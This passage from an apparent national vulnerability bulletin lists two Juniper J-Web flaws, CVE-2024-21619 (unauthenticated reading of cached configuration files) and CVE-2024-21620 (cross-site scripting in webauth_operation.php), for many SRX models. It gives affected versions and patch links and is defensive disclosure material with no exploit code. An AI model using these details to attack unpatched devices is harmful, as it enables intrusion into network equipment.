Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-SRX2-090224/1719

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX2-090224/1720

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx300					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-SRX3-090224/1721

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1722

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx320					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1723

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1724

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx340					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1725

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-SRX3-090224/1726

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx3400					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-SRX3-090224/1727

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1728

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: srx345					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX3-090224/1729

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1730

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx3600					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1731

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1732

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx380					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1733

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support.portal.juniper.net/JSA76390	H-JUN-SRX3-090224/1734

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx4000					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://supportportal.juniper.net/JSA76390	H-JUN-SRX4-090224/1735

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX4-090224/1736

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: srx4100					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://supportportal.juniper.net/JSA76390	H-JUN-SRX4-090224/1737

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1738

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx4200					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1739

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1740

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx4300					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1741

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1742

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx4600					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1743

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-SRX4-090224/1744

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
